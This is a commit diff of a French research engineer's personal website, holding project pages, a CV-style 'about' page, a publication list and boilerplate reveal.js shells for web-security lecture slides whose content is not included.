		* la mission Monteil, les chercheurs du [LAPSCO](https://www.lapsco.fr/) et du [LP3C](https://www.lp3c.fr/en/presentation/) pour la mise en place des fonctionnalités de la plateforme
		* je suis co auteur de plusieurs <a href="/pages/recherche.html"><span class="label label-success">articles de recherche</span></a> en tant que membre du consortium ProFan

content/Projets/profan.md

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+35 −0

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		Title: Profan <i class="fas fa-check-circle text-success" aria-hidden='true'></i>
		Date: 2017-01-06 10:27
		Category: <i class='fa fa-cogs' aria-hidden='true'></i> Projets
		Tags: www, éducation


		<div class="progress">
		<div class="progress-bar" role="progressbar" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100" style="width: 100%">
		<span class="sr-only">100% complete</span>
		</div>
		</div>

		![ProFan](images/projets/ProFAN.jpg)

		Ce projet fait parti du [Programme d'investissements d'avenir (PIA)](https://www.education.gouv.fr/bo/16/Hebdo41/MENB1628228N.htm?cid_bo=108403).

		Ce projet se donne pour ambition, de promouvoir et de qualifier, par la nature de leurs effets, de nouveaux contextes d'apprentissage et d'enseignement afin de favoriser l'acquisition de compétences nouvelles pour répondre aux exigences des métiers du futur.

		Cette expérimentation est centrée sur une plateforme numérique qui permettra l'organisation et la bonne tenue de l'expérimentation ainsi que la collecte de données exploitables par la recherche en sciences cognitives dans 79 lycées professionnels, sur 3 années scolaires.

		<hr />

		## Pour ce projet (de 2017 à 2021)

		* j'ai défini les besoins et l'architecture technique
		* j'ai recruté 2 développeurs pour la conception de la plateforme
		* [<i class="fab fa-linkedin"></i> Benoit Petitcollot](https://www.linkedin.com/in/beno%C3%AEt-petitcollot-60bbb6a6/?originalSubdomain=fr)
		* [<i class="fab fa-linkedin"></i> Ruben Martinez](https://www.linkedin.com/in/ruben-martinez-8337a469/)
		* Carlos Cepeda
		* j'ai encadré jusqu'à 3 développeurs, ainsi qu'un stagiaire
		* j'ai joué le rôle de coordinateur entre
		* les rectorats, le service des sytèmes d'information (SI) et le service d'analyse statistiques de l'éducation nationale pour la récupération des données concernant les lycéens, l'authentification des lycéens et professeurs et le déploiement de l'application
		* les chercheurs du [LAPSCO](https://www.lapsco.fr/) et du [LP3C](https://www.lp3c.fr/en/presentation/) pour la mise en place d'une dizaine de questionnaires et d'une demi douzaine outils d’évaluation
		* je suis co auteur de plusieurs <a href="/pages/recherche.html"><span class="label label-success">articles de recherche</span></a> en tant que membre du consortium ProFan
		* Le succès de cette expérimentation m'a également permis de piloter les projets <a href="/eccipe.html"><span class="label label-success">ECCIPE</span></a> et <a href="/profan-transfert.html"><span class="label label-success">ProFan-Transfert</span></a>

content/Projets/stam.md

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+38 −0

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		Title: Stam <i class="fas fa-check-circle text-success" aria-hidden='true'></i>
		Date: 2019-10-06 10:27
		Category: <i class='fa fa-cogs' aria-hidden='true'></i> Projets
		Tags: www, métro, Feder


		<div class="progress">
		<div class="progress-bar progress-bar-success" role="progressbar" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100" style="width: 100%">
		<span class="sr-only">100% complete</span>
		</div>
		</div>

		## STAM

		Stam est un projet [FEDER](https://www.europe-en-france.gouv.fr/fr/fonds-europeens/fonds-europeen-de-developpement-regional-FEDER) piloté par un consortium composé d’acteurs du monde de la métrologie et de chercheurs ayant pour vocation la conception d’une plateforme de révision de mesures réalisées à l’aide d’outils connectés.

		## L’ENJEU

		Pour comprendre tout l’enjeu derrière ce projet, il faut d’abord se départir d’un apriori trèsrépandu: une mesure est exacte. En effet, la mesure comporte toujours un biais induit par des phénomènes physiques ou humains; dans certaines conditions ce biais a un impact non négligeable(programme spatial par exemple) et c’est ainsi que diverses méthodologies pour quantifier les incertitudes de mesure ont vu le jour (voir le Guide sur l’Incertitude de Mesure).Toutefois, ces méthodologies reposent sur des approches manuelles d’inventaire des causes d’incertitudes. Elles sont donc assez laborieuses à mettre en oeuvre et pas assez conscientes du contexte opératoire qui est le leur.C’est de là qu’est née l’idée de concevoir une plateforme recueillant à la volée des mesures et des données de contexte venant d’objet connectés. Cela permettrait dans un premier temps de faciliter la saisie de la valeur lue et d’autre part de prendre en compte dans la phase de révision de la mesure diverses informations de contexte (hygrométrie relative,répétabilité inter-opérateur). Ces informations de contexte sont agrégées sous forme de convolutions de lois de distribution pour modéliser la dispersion de l’erreur.

		## MISE EN OEUVRE

		Chacune des parties prenantes se charge d’un des aspects techniques:

		* [Deltamu](https://deltamu.com) précise les spécifications
		* [Phiméca](phimeca.com) se charge de l’implémentation des outils de calcul
		* [Perfect memory](https://perfect-memory.com) propose un outil documentaire basé sur la sémantique
		* Le [LIMOS](https://limos.fr/) dresse l’architecture globale et propose un POC de la plateforme

		<hr />

		## Pour ce projet (de 2019 à 2021)

		* j'ai défini les besoins et l'architecture technique
		* j'ai recruté un développeur pour la conception de la plateforme
		* [<i class="fab fa-linkedin"></i> Papa Mamadou Ndiaye](https://www.linkedin.com/in/papa-mamadou-ndiaye-15338984/)
		* j'ai encadré ce développeur pour la réalisation d'une maquette de la plateforme
		* j'ai joué le rôle de coordinateur entre les différents acteurs
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+37 −0

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		No newline at end of file

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+32 −0

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		Title: My First Review
		Date: 2010-12-03 10:20
		Category: Review
		Tags: pipo, mollo

		Following is a review of my favorite mechanical keyboard.

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		Title: My page
		Date: 2010-12-30 10:25
		Category: pipo
		Tags: pipo, mollo

		## Following is a review of my favorite mechanical keyboard.
		page

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		Title: <i class="fa fa-briefcase" aria-hidden="true"></i> à propos
		Date: 2021-03-09 10:27
		Category: <i class="fa fa-briefcase" aria-hidden="true"></i> à propos
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		Number: 2

		## <i class="fas fa-desktop"></i> Ingénieur de Recherche Informatique au CNRS <a class="expand btn btn-primary float-right">version courte</a>

		### <i class="fas fa-quote-left"></i>You can't defend. You can't prevent. The only thing you can do is detect and respond.<i class="fas fa-quote-right"></i> <span style="float:right;font-size: smaller; padding-top: 15px;">Bruce Schneier</span>


		<hr />

		<center>

		#### En poste au [LIMOS](htttps://limos.fr), UMR ([CNRS](https://www.cnrs.fr)/[UCA](https://uca.fr)/[EMSE](https://www.mines-stetienne.fr/)), hébergée par l'[ISIMA](htttps://isima.fr)

		</center>

		<hr />

		* Je supervise <a name="cri" class="toggle"><i class="fas fa-users-cog"></i> le service informatique commun CRI ISIMA / LIMOS (9 personnes)</a>
		* <i id="cri" class="fas fa-users-cog"></i> [service informatique commun CRI ISIMA / LIMOS](https://doc.isima.fr/support/cri)
		* composé de
		* 4 ingénieurs
		* 1 assistant ingénieur
		* 3 techniciens
		* 1 CDD
		* animation et gestion de l'équipe
		* blog du [CRI ISIMA / LIMOS](https://cri.isima.fr)
		* suivi de tous les projets de l'équipe
		* infrastructure (matériels et réseaux)
		* gestion du budget
		* interlocuteur [UCA](https://uca.fr) / [INP](https://www.clermont-auvergne-inp.fr/)

		<hr />

		* J'industrialise et gère l'exploitation d'un <a name="cloud" class="toggle"><i class="fas fa-cloud-upload-alt"></i> cloud souverain</a> (un vrai!) et l'administration de différents <a name="server" class="toggle"><i class="fas fa-server"></i> services</a>
		* <i id="cloud" class="fas fa-cloud-upload-alt"></i> exploitation de notre cloud (vraiment!) souverain
		* proxmox
		* <strike>ansible</strike>
		* <strike>vault</strike>
		* <strike>consul</strike>
		* <strike>terraform</strike>
		* <strike>packer</strike>
		* pour différentes raisons cette pile logicielle est appelée à évoluer dans les prochaines années
		* <i id="server" class="fas fa-server"></i> administration de services
		* [My](https://my.isima.fr) un développement [<i class="fab fa-symfony"></i> symfony 6](https://symfony.com/), métier, permettant de gérer une partie des systèmes d'information de l'ISIMA et du LIMOS
		* [gestionnaire de ticket](https://support.isima.fr/) pour le support ([gestsup](https://gestsup.fr/))
		* hébergement web mututalisé ([ispconfig](https://www.ispconfig.org/))
		* forges logicielles, l'une [orientée recherche](https://gitlab.limos.fr), l'autre [orientée pédagogie](https://gitlab.isima.fr) ([gitlab](https://about.gitlab.com)
		* [partage de notes](https://hedgedoc.isima.fr) ([hedgedoc](https://hedgedoc.org)/[codimd](https://github.com/hackmdio/codimd))
		* clavardage avec ([mattermost](https://mattermost.com/))
		* sauvegarde et restauration ([backuppc](https://backuppc.github.io/backuppc/))
		* documentations collaboratives, l'une [à destination des utilisateurs](https://doc.isima.fr/), l'autre à destination des administrateurs ([mkdocs](https://www.mkdocs.org/))
		* système de page perso ([apache](https://httpd.apache.org/docs/2.4/howto/public_html.html))
		<hr />

		* Je gère différents <a name="projects" class="toggle"><i class="fas fa-flask"></i> projets recherche</a>
		* <i id="projects" class="fas fa-flask"></i> projets recherche

		* [ProFan-Transfert](/profan-transfert.html) <i class="fas fa-spinner fa-spin"></i>
		* [ECCIPE](/profan-transfert.html) <i class="fas fa-spinner fa-spin"></i>
		* [ARBORéa](/arborea.html) <i class="fas fa-check-circle text-success" aria-hidden='true'></i>
		* [Stam](/stam.html) <i class="fas fa-check-circle text-success" aria-hidden='true'></i>
		* [ep3c](/ep3c.html) <i class="fas fa-check-circle text-success" aria-hidden='true'></i>
		* [Profan](/profan.html) <i class="fas fa-check-circle text-success" aria-hidden='true'></i>
		* [mobipaléo](/mobipaleo.html) <i class="fas fa-spinner fa-spin"></i>
		* [CEPPPIA](/cepppia.html) <i class="fas fa-check-circle text-success" aria-hidden='true'></i>

		* Pour ces projets recherche, j'encadre 4 développeurs, et interviens tout au long du <a name="projects-tasks" class="toggle"></i><i class="fas fa-tasks"></i> cycle de vie des projets
		* <i id="projects-tasks" class="fas fa-tasks"></i> cycle de vie des projets
		* défintion des besoins
		* défintion de l'architecture
		* recrutement et animation d'un (ou d'une équipe de) développeur(s)
		* gestion de l'hébergement et du déploiement
		* expertises techniques
		* suivi de projets
		* revue de code et recette
		* mise en place des référentiels légaux (RGPD, données de santé, ...)
		* mise à disposition des données (entrepôt)
		<hr />

		* Je participe au développement de projets, recherche ou interne à l'équipe, avec différentes <a name="techno" class="toggle"><i class="fas fa-code-branch"></i> technologies</a>
		* <i id="techno" class="fas fa-code-branch"></i> développement
		* <i class="fab fa-php"></i> php / <i class="fab fa-symfony"></i> symfony
		* <i class="fab fa-python"></i> python
		* <i class="fas fa-terminal"></i> bash
		* <i class="fab fa-js"></i> javascript
		* <i class="fab fa-html5"></i> html
		* <i class="fab fa-css3-alt"></i> css


		<hr />

		* Je suis impliqué dans la chaîne fonctionnelle <a name="ssi" class="toggle"><i class="fas fa-shield-alt"></i> SSI</a>
		* <i id="ssi" class="fas fa-shield-alt"></i> SSI
		* correspondant Sécurité des Systèmes d'Informations (CSSI) pour le [LIMOS](htttps://limos.fr) et l'[ISIMA](htttps://isima.fr)
		* membre de la CRSSI de [DR7 à Lyon](https://www.rhone-auvergne.cnrs.fr/)
		* membre de la Cellule Audit & Veille SSI à l'[UCA](https://uca.fr)
		* pilotage de la politique de chiffrement et anti-virus au [LIMOS](https://limos.fr) et à l'[ISIMA](htttps://isima.fr)
		<hr />

		* Je donne aussi quelques <a name="school" class="toggle"><i class="fas fa-graduation-cap"></i> cours</a> à l'[ISIMA](htttps://isima.fr)
		* <i id="school" class="fas fa-graduation-cap"></i> cours à l'[ISIMA](htttps://isima.fr)
		* <i class="fas fa-shield-alt"></i> [Sécurité des application Web](/zz2-f5-securite-logicielle-securite-des-applications-web.html)
		* <strike><i class="fas fa-sad-cry"></i> [Privacy & Cryptologie](/zz2-f5-privacy-crypto.html)</strike>
		* <i class="fas fa-user-secret"></i> [Ethique & informatique: Je n'ai rien à cacher](/zz3-je-nai-rien-a-cacher.html)
		* <i class="fas fa-history"></i> Histoire de l'informatique <i class="fas fa-spinner fa-spin"></i>
		<hr />

		* J'interviens dans différents contextes sur <a name="talks" class="toggle"><i class="fas fa-comment"></i> diverses thématiques</a>
		* <i id="talks" class="fas fa-comment"></i> interventions
		* 08/10/2024 pour les [JoSy Proxmlox Virtual Environment (PVE)](https://indico.mathrice.fr/event/542/overview): Terraform, Devopx, PVE <span class="label label-warning">à venir</span>
		* 07/06/2022 pour les [journées Proxmox VE / Ceph 2022](https://indico.mathrice.fr/event/327/): [Proxmox VE & DevOps](https://webtv.uca.fr/video/c82cf242-bbb0-427a-b5d6-b44c700f9409?time=4h27m12s)
		* 15/01/2021 pour [La Montagne](https://www.lamontagne.fr/): [Les cyberattaques, retour sur ce virus qui touche les organismes de santé en France en plein Covid-19](https://www.lamontagne.fr/paris-75000/actualites/les-cyberattaques-retour-sur-ce-virus-qui-touche-les-organismes-de-sante-en-france-en-plein-covid-19_13900627/)
		* 27/11/2020 pour [Subatech](http://www-subatech.in2p3.fr/fr/): [sécurité et navigateur](/slides/privacy/browser.html)
		* 01/12/2020 pour [Le GRIN](https://legrin.fr/): [ÉPIDÉMIE(S)#25 - Peut-on encore compter sur le progrès?](https://podcast.ausha.co/epidemie-s/epidemie-s-25-peut-on-encore-compter-sur-le-progres) (avec [Yves Caseau](https://www.linkedin.com/in/ycaseau/))
		* 23/05/2019 pour [Clermont'ech](https://www.clermontech.org): [vault](https://www.clermontech.org/talks/api-hour-42/Vincent-Mazenod-Vault.html)
		* 18/12/2108 pour [le lycée Sidoine Apollinaire](https://www.lycee-sidoine-apollinaire.fr/): [Je n'ai rien à cacher / RGPD](/privacy/jnarac.html)
		* 15/05/2018 pour [pint of science](/slides/privacy/surfer_couvert.html): [surfez couvert!](/slides/privacy/surfer_couvert.html)
		* 11/03/2018 pour [l'esc Clermont](https://www.esc-clermont.fr/) : [Conférence – table ronde : Monnaies virtuelles, Initial Coin Offerings (ICOs) et Blockchain : Innovations en finance majeures ?](https://www.esc-clermont.fr/conference-table-ronde-monnaies-virtuelles-initial-coin-offerings-icos-et-blockchain-innovations-en-finance-majeures/)
		* 30/09/2017 pour [Clermont'ech](https://www.clermontech.org): [mets ta cagoule, ça va hacker](https://www.youtube.com/watch?v=oOGuGn2qWhk)
		* 16/05/2017 pour [La Montagne](https://www.lamontagne.fr/): [Interview dans La Montagne au sujet du ransomware WannaCry](/images/presse/wannacry.jpg)
		* 13/04/2017 pour [ARAMIS](https://aramis.resinfo.org): [Dev & Ops : les outils du dialogue - 9ème journée Aramis 2017](https://webcast.in2p3.fr/video/bonnes_pratiques_en_developpement_web)
		* 23/03/2017 pour [le lycée de chamalières](https://www.lyceedechamalieres.fr/): [Je n'ai rien à cacher / RGPD](/privacy/jnarac.html)
		* 07/07/2016 pour [Clermont'ech](https://www.clermontech.org): [Drupalgeddon](https://www.clermontech.org/talks/api-hour-21/3-vincent-mazenod-drupalgeddon.html)
		* 19/04/2016 pour [la Mairie des Martres de Veyre](http://www.mairie-lesmartresdeveyre.fr/): [Les enjeux de confidentialité et sécurité bien exposés par Vincent Mazenod](https://www.lamontagne.fr/martres-de-veyre-63730/actualites/les-enjeux-de-confidentialite-et-securite-bien-exposes-par-vincent-mazenod_11877490/)
		* 12/03/2015 pour [AUDACeS](http://audaces.asso.st/): [Séminaire technique: Sécurité Logicielle Web (avec Thomas LALLART)](https://indico.in2p3.fr/event/11263/)

		<!-- * 16/12/2014 pour [Clermont'ech](https://www.clermontech.org): [la PSSI de la nation](https://www.youtube.com/watch?v=jdWDdY2IdEw) -->
		<hr />

		* Je suis membre actif de l'association <a name="audaces" class="toggle"><i class="far fa-file-code"></i></a> [AuDACES, réseau régional de DevLOG](http://audaces.asso.st/) depuis 2015 et j'ai été coordinateur de ce réseau de 2018 à 2023
		* <i id="audaces" class="far fa-file-code"></i> événements
		* co-organisateur des [journées Proxmox VE / Ceph 2022](https://indico.mathrice.fr/event/327/)
		* organisateur de 3 journées Kubernete du 06 au 08 février 2019
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		Title: <i class='fa fa-flask' aria-hidden='true'></i> Recherche
		Date: 2021-03-09 10:27
		Category: <i class='fa fa-flask' aria-hidden='true'></i> Recherche
		Number: 1


		Je fais partie du <a href="https://hal.science/search/index/q/*/authFullName_s/Profan+Consortium">ProFAN Consortium</a>

		## 2024

		* Rudmann O., Batruch A., Paolo Visintin E., Sommet N., Bressoux P., Darnon C., Bouet M., Bressan M., Brown G., Cepeda C., Cherbonnier A., Demolliens M., De Place A.-L., Desrichard O., Ducros T., Goron L., Hemon B., Huguet P., Jamet E., Martinez R., Mazenod V., Mella N., Michinov E., Michinov N., Ofosu N., Pansu P., Peter L., Petitcollot B., Poletti C., Régner I., Riant M., Robert A., Sanrey C., Stanczak A., Toumani F., Vilmin S., Vives E., Butera F.. Cooperative learning reduces the gender gap in perceived social competences. A large-scale nationwide longitudinal experiment. Journal of Educational Psychology. <span class="label label-info">en cours d'édition</span> <a href="/profan.html"><span class="label label-success">ProFAN</span></a>

		* Mathilde Riant, Anne-Laure de Place, Pascal Bressoux, Anatolia Batruch, Marinette Bouet, Marco Bressan, Genavee Brown, Fabrizio Butera, Carlos Cepeda, Anthony Cherbonnier, Céline Darnon, Marie Demolliens, Olivier Desrichard, Théo Ducros, Luc Goron, Brivael Hémon, Pascal Huguet, Eric Jamet, Ruben Martinez, Vincent Mazenod, Nathalie Mella, Estelle Michinov, Nicolas Michinov, Nana Ofosu, Laurine Peter, Benoît Petitcollot, Céline Poletti, Isabelle Régner, Anaïs Robert, Ocyna Rudmann, Camille Sanrey, Arnaud Stanczak, Farouk Toumani, Simon Vilmin, Emilio Paolo Visintin, Eva Vives, Pascal Pansu. Does the Jigsaw method improve motivation and self-regulation in vocational high schools?.
		Contemporary Educational Psychology, Volume 77, 102278, ISSN 0361-476X. [https://doi.org/10.1016/j.cedpsych.2024.102278](https://doi.org/10.1016/j.cedpsych.2024.102278) <a href="/profan.html"><span class="label label-success">ProFAN</span></a>

		* Vives E., Poletti C., Butera F., Huguet P., ProFAN Consortium, Régner I.. Learning with Jigsaw : A systematic Review gathering all the pieces of the Puzzle more than 40 years later. Review of Educational Research ([https://doi.org/10.3102/00346543241230064](https://doi.org/10.3102/00346543241230064)) ([hal-04500096](https://hal.science/hal-04500096)) <a href="/profan.html"><span class="label label-success">ProFAN</span></a>


		## 2023

		* Johann Chevalère, Loreleï Cazenave, Robin Wollast, Mickaël Berthon, Ruben Martinez, Vincent Mazenod, Marie-Claude Borion, Delphine Pailler, Nicolas Rocher, Rémi Cadet, Catherine Lenne , Norbert Maïonchi-Pino, Pascal Huguet. The influence of socioeconomic status, working memory and academic self-concept on academic achievement. European Journal of Psychology of Education, 2023, 38, pp.287-309. ([10.1007/s10212-022-00599-9](https://dx.doi.org/10.1007/s10212-022-00599-9)). ([hal-03707470](https://hal.science/hal-03707470)) <a href="/ep3c.html"><span class="label label-success">eP3C</span></a>

		## 2022

		* Johann Chevalère, Loreleï Cazenave, Mickaël Berthon, Ruben Martinez, Vincent Mazenod, Marie-Claude Borion, Delphine Pailler, Nicolas Rocher, Rémi Cadet, Catherine Lenne, Norbert Maïonchi-Pino, Pascal Huguet. Compensating the socioeconomic achievement gap with computer‐assisted instruction. Journal of Computer Assisted Learning, 2022, 38 (2), pp.366-378. ⟨[10.1111/jcal.12616](https://dx.doi.org/10.1111/jcal.12616)⟩. ⟨[hal-03428446v2](https://hal.science/hal-03428446v2)⟩ <a href="/ep3c.html"><span class="label label-success">eP3C</span></a>


		* Jm Monteil, A Séré, M Demolliens, P Huguet, A Batruch, M Bouet, M Bressan, P Bressoux, G Brown, F Butera, C Cepeda, A Cherbonnier, C Darnon, Al de Place, O Desrichard, T Ducros, L Goron, B Hemon, E Jamet, R Martinez, V Mazenod, N Mella , E Michinov, N Michinov, N Ofosu, P Pansu, L Peter, B Petitcollot, C Poletti, I Régner, M Riant, A Robert, O Rudmann, C Sanrey, A Stanczak, F Toumani, S Vilmin, E Visintin, E. Vives. Rapport ProFAN Partager l’expertise. L’interdépendance positive, un levier pour de nouvelles compétences ? remis en Juin 2022 au Ministère de l’éducation, de la jeunesse et des sports et au Ministère de l’enseignement supérieur, de la recherche et de l’innovation. ([hal-04021297](https://hal.science/hal-04021297)) <a href="/profan.html"><span class="label label-success">ProFAN</span></a>

		## 2021

		* Yannick Miras , Jerry Lonlac, Beauger Aude, Benjamin Legrand , Delphine Latour , Karen K. Serieyssol , Marlène Lavrieux , Paul M Ledger, Vincent Mazenod , Jean-Luc Peiry, Engelbert Mephu Nguifo. Tracking plant, fungal and algal diversity through a data mining approach: towards an improved analysis of holocene lake Aydat (Puyde-Dôme, France) dynamics and ecological legacies. Revue des Sciences Naturelles d'Auvergne, 2021. ([hal-03547371](https://hal.science/hal-03547371)) <a href="/mobipaleo.html"><span class="label label-success">Mobipaleo</span></a>

		* Johann Chevalère, Loreleï Cazenave, Mickaël Berthon, Ruben Martinez, Vincent Mazenod, Marie-Claude Borion, Delphine Pailler, Nicolas Rocher, Rémi Cadet, Catherine Lenne, Norbert Maïonchi-Pino, Pascal Huguet. Computer-assisted instruction versus inquiry-based learning: The importance of working memory capacity. PLoS ONE 16(11): e0259664. [https://doi.org/10.1371/journal.pone.0259664](https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0259664) <a href="/ep3c.html"><span class="label label-success">eP3C</span></a>

		* Laurine Peter, Nicolas Michinov, Maud Besançon, Estelle Michinov, Jacques Juhel, Genavee Brown, Eric Jamet, Anthony Cherbonnier, Profan Consortium. Revisiting the Effects of Gender Diversity in Small Groups on Divergent Thinking: A Large-Scale Study Using Synchronous Electronic Brainstorming. Frontiers in Psychology, 2021, pp.12:723235. ⟨[10.3389/fpsyg.2021.723235](https://dx.doi.org/10.3389/fpsyg.2021.723235)⟩. ⟨[hal-03401056](https://hal.science/hal-03401056)⟩ <a href="/profan.html"><span class="label label-success">ProFAN</span></a>


		* Arnaud Stanczak, Céline Darnon, Anaïs Robert, Marie Demolliens, Camille Sanrey, Pascal Bressoux, Pascal Huguet, Céline Buchs, Fabrizio Butera & <strike>consortium ProFAN</strike>. Journal of Educational Psychology, 114(6), 1461–1476. ([https://doi.org/10.1037/edu0000730](https://doi.org/10.1037/edu0000730)). -([hal-03441734](https://hal.science/hal-03441734)) <a href="/profan.html"><span class="label label-success">ProFAN</span></a>



		* Mella N., Pansu P., Batruch A., Bouet M., Bressoux P., Brown G., Butera F., Cepeda C., Darnon C., Demolliens M., De Place AL, Ducros T., Goron L., Huguet P., Jamet E., Martinez R., Mazenod V., Michinov N., Peter L., Petitcollot B., Poletti C., Régner I., Riant M., Robert A., Sanrey C., Stanczak A., Toumani F., Visintin E., Vives E., Desrichard O.. An exploratory network analysis of socio-emotional competencies, school adjustment and school performance in adolescence. Journal of Educational Psychology, Volume 12 - 2021 ([https://doi.org/10.3389/fpsyg.2021.640661](https://doi.org/10.3389/fpsyg.2021.640661.)) ([full article](https://www.frontiersin.org/journals/psychology/articles/10.3389/fpsyg.2021.640661/full)) <a href="/profan.html"><span class="label label-success">ProFAN</span></a>


		## 2020

		* Yannick Miras , Jerry Lonlac, Beauger Aude, Benjamin Legrand , Delphine Latour , Karen K. Serieyssol , Marlène Lavrieux , Paul M Ledger, Vincent Mazenod , Jean-Luc Peiry, Engelbert Mephu Nguifo. Refining Holocene lake dynamics and detecting early human-induced ecological legacies: towards improved analysis of past biodiversity through a data mining approach ([researchgate.net](https://www.researchgate.net/publication/341286528_Patterning_Holocene_lake_dynamics_and_detecting_early_Prehistoric_human_impacts_targets_of_an_improved_integration_of_multivariate_ecological_indicators_thanks_to_the_data_mining_approach)) <a href="/mobipaleo.html"><span class="label label-success">Mobipaleo</span></a>


		## 2018

		* Lonlac Konlac J., Miras Y., Beauger A., Mazenod V., Peiry J.L.. An Approach for Extracting Frequent (Closed) Gradual Patterns Under Temporal Constraint. 2018 IEEE International Conference on Fuzzy Systems (FUZZ-IEEE), 2018. ⟨[hal-01924145](https://hal.archives-ouvertes.fr/hal-01924145v1)⟩ <a href="/mobipaleo.html"><span class="label label-success">Mobipaleo</span></a>

		* Ariane Tichit, Pascal Lafourcade, Vincent Mazenod. Les monnaies virtuelles décentralisées sont-elles des dispositifs d'avenir ? Political Economy, Association d’Économie Politique, 2018. ⟨[hal-01995938](https://hal.archives-ouvertes.fr/hal-01995938v1)⟩

		## 2017

		* Ariane Tichit, Pascal Lafourcade, Vincent Mazenod . Les monnaies virtuelles décentralisées sont-elles des outils d’avenir ?. ⟨[halshs-01467329](https://hal.archives-ouvertes.fr/halshs-01467329v1)⟩

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		<title>anticiper</title>

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		// - https://github.com/hakimel/reveal.js#configuration
		// - https://github.com/hakimel/reveal.js#dependencies
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		<title>authentification</title>

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		<title>Captcha</title>

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		<title>CMDi</title>

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		<title>CSP</title>

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		link.rel = 'stylesheet';
		link.type = 'text/css';
		link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
		document.getElementsByTagName( 'head' )[0].appendChild( link );
		</script>
		</head>
		<body>
		<div class="reveal">
		<div class="slides">
		<section data-markdown="md/csp.md"
		data-separator="^\n\n\n"
		data-separator-vertical="^\n\n"
		data-separator-notes="^Note:"
		data-charset="utf-8">
		</section>
		</div>
		</div>

		<!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
		<script src="../../node_modules/reveal.js/js/reveal.js"></script>

		<script>
		// More info about config & dependencies:
		// - https://github.com/hakimel/reveal.js#configuration
		// - https://github.com/hakimel/reveal.js#dependencies
		Reveal.initialize({
		controls: true,
		progress: true,
		history: true,
		center: false,
		dependencies: [
		{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
		{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
		condition: function() { return !!document.querySelector( '[data-markdown]' ); },
		callback: function() {
		Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
		var fragIndex = ele.innerHTML.indexOf("--")
		if (fragIndex != -1){
		ele.innerHTML = ele.innerHTML.replace("--", "");
		ele.className = 'fragment';
		}
		});
		}
		},
		{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
		{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
		]
		});
		</script>
		<script src="../main.js"></script>
		</body>
		</html>

content/slides/1337/csrf.html

0 → 100644

+71 −0

Original line number	Diff line number	Diff line
		<!doctype html>
		<html>
		<head>
		<meta charset="utf-8">
		<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">

		<title>CSRF</title>

		<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
		<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">

		<!-- Theme used for syntax highlighting of code -->
		<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
		<link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
		<link rel="stylesheet" href="../main.css">

		<!-- Printing and PDF exports -->
		<script>
		var link = document.createElement( 'link' );
		link.rel = 'stylesheet';
		link.type = 'text/css';
		link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
		document.getElementsByTagName( 'head' )[0].appendChild( link );
		</script>
		</head>
		<body>
		<div class="reveal">
		<div class="slides">
		<section data-markdown="md/csrf.md"
		data-separator="^\n\n\n"
		data-separator-vertical="^\n\n"
		data-separator-notes="^Note:"
		data-charset="utf-8">
		</section>
		</div>
		</div>

		<!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
		<script src="../../node_modules/reveal.js/js/reveal.js"></script>

		<script>
		// More info about config & dependencies:
		// - https://github.com/hakimel/reveal.js#configuration
		// - https://github.com/hakimel/reveal.js#dependencies
		Reveal.initialize({
		controls: true,
		progress: true,
		history: true,
		center: false,
		dependencies: [
		{ src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
		{ src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
		condition: function() { return !!document.querySelector( '[data-markdown]' ); },
		callback: function() {
		Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
		var fragIndex = ele.innerHTML.indexOf("--")
		if (fragIndex != -1){
		ele.innerHTML = ele.innerHTML.replace("--", "");
		ele.className = 'fragment';
		}
		});
		}
		},
		{ src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
		{ src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
		]
		});
		</script>
		<script src="../main.js"></script>
		</body>
		</html>

content/slides/1337/detecting.html

0 → 100644

+70 −0

Original line number	Diff line number	Diff line
		<!doctype html>
		<html>
		<head>
		<meta charset="utf-8">
		<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">

		<title>Détecter</title>

		<link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
		<link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">

		<!-- Theme used for syntax highlighting of code -->
		<link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
		<link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
		<link rel="stylesheet" href="../main.css">

		<!-- Printing and PDF exports -->
		<script>
		var link = document.createElement( 'link' );
		link.rel = 'stylesheet';
		link.type = 'text/css';
		link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
		document.getElementsByTagName( 'head' )[0].appendChild( link );
		</script>
		</head>
		<body>
		<div class="reveal">
		<div class="slides">
		<section data-markdown="md/detecting.md"
		data-separator="^\n\n\n"
		data-separator-vertical="^\n\n"
		data-separator-notes="^Note:"
		data-charset="utf-8">
		</section>
		</div>
		</div>

		<script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
		<script src="../../node_modules/reveal.js/js/reveal.js"></script>

		<script>
		// More info about config & dependencies:
		// - https://github.com/hakimel/reveal.js#configuration
		// - https://github.com/hakimel/reveal.js#dependencies
		Reveal.initialize({
		controls: true,
		progress: true,
		history: true,
		center: false,
		dependencies: [
